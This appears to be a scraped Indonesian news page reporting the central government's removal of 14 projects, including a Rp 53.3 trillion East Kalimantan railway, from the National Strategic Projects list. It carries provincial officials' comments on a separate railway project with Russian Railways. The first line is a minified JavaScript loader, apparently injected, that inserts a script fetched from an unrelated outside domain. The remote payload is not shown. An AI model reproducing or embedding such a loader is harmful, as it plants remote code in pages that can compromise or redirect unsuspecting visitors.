(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pusat Coret Proyek Pembangunan Kereta Api Kaltim Senilai Rp 53,3 Triliun


JAKARTA, Sebanyak 14 proyek senilai Rp 289,5 triliun dicabut pemerintah pusat dari daftar Proyek Strategis Nasional (PSN). Termasuk diantaranya rencana pembangunan rel kereta api enam wilayah, diantaranya Kalimantan Timur senilai Rp 53,3 triliun. Pembatalan dilakukan karena proyek tersebut tidak memenuhi kriteria batas waktu konstruksi.

Ke-14 proyek tersebut dinilai tidak memenuhi kriteria batas waktu yang ditentukan Komite Percepatan Penyediaan Infrastruktur Prioritas (KPPIP).

“Tapi tidak selamanya didrop. Asalkan di Kementeriannya mempersiapkan kembali dan siap maka bisa diajukan kembali,” kata Menteri Koordinator Bidang Perekonomian Darmin Nasution.

Selain mencabut 14 proyek yang tidak memenuhi kriteria, pemerintah juga mengeluarkan 10 proyek yang sudah selesai dari daftar PSN. Di samping itu, pemerintah menambahkah satu proyek pembangunan Universitas Islam Internasional Indonesia dan Program Pemerataan Ekonomi ke dalam daftar PSN.

Dalam Peraturan Pemerintah (PP) Nomor 58 Tahun 2017, pemerintah mencanangkan 245 PSN dan 2 program yang akan diselesaikan selama periode 2015-2019. Berdasarkan RPJMN, total investasi yang dibutuhkan untuk menyelesaikan proyek-proyek tersebut mencapai Rp 4.197 triliun.

KPPIP menggunakan empat kriteria utama dalam mengevaluasi proyek-proyek strategis, yakni kriteria dasar, kriteria strategis, kriteria operasional dan kriteria dukungan yang jelas. Misalnya, setiap proyek memiliki kesesuaian dengan Rencana Pembangunan Jangka Menengah Nasionla (RPJMN) dan Rencana Tata Ruang Wilayah (RTRW), serta memiliki nilai strategis bagi perekonomian dan kesejahteraan sosial.

Pencoretan proyek kereta api Kaltim ini memang sudah diprediksi sebelumnya. Walaupun proyek itu sempat dilaunching Gubernur Kaltim Awang Faroek Ishak, Desember 2016 lalu. Menteri Perhubungan Budi Karya Sumadi mengatakan, proyek yang menghubungan Kaltim, Kalimantan Tengah,  dan Kalimantan Utara ini dibatalkan akibat tidak ada investor yang tertarik. “Tidak ada investasi yang masuk,” katanya.

Namun demikian, Pemprov Kaltim menegaskan, proyek yang dicoret oleh pusat adalah satu hal yang berbeda dengan proyek kereta api yang saat ini sedang berjalan. Kepala Biro Humas Pemprov Kaltim Tri Murti Rahayu mengatakan, ada dua proyek rel kereta api di Kaltim.

Pertama, proyek KA kerja sama antara Pemprov Kaltim dan Rusia. Kedua, proyek rel kereta api yang direncanakan oleh pemerintah pusat, yang akhirnya dibatalkan itu.

“Jadi, yang dicoret itu adalah proyek yang direncanakan pemerintah pusat. Mesti dibedakan,” ujarnya.

Tri menjelaskan, untuk proyek kerata api dengan Rusia tak terkena dampak dari pencoretan proyek kereta di Kaltim dari PSN. Adapun proyek kereta yang masuk PSN dan dicoret tersebut direncanakan dibiayai dari Anggaran Pendapatan dan Belanja Negara (APBN).

Dia melanjutkan, meski sama-sama pembangunan rel kereta api, keduanya memiliki perbedaan peruntukan. Proyek yang direncanakan pusat adalah rel kereta untuk penumpang. Sementara kerja sama Pemprov Kaltim dan Russian Railways untuk kereta api khusus yang mengangkut hasil sumber daya alam (SDA).

“Meski begitu, dalam praktiknya nanti kereta api yang akan melewati rel tersebut diusahakan bisa multipurpose agar bisa mengangkut penumpang selain hasil SDA,” ujarnya.


Page: 1 2

Desy Arfianty

Recent Posts

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

44 menit ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

3 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

7 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

7 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

9 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

11 jam ago

This website uses cookies.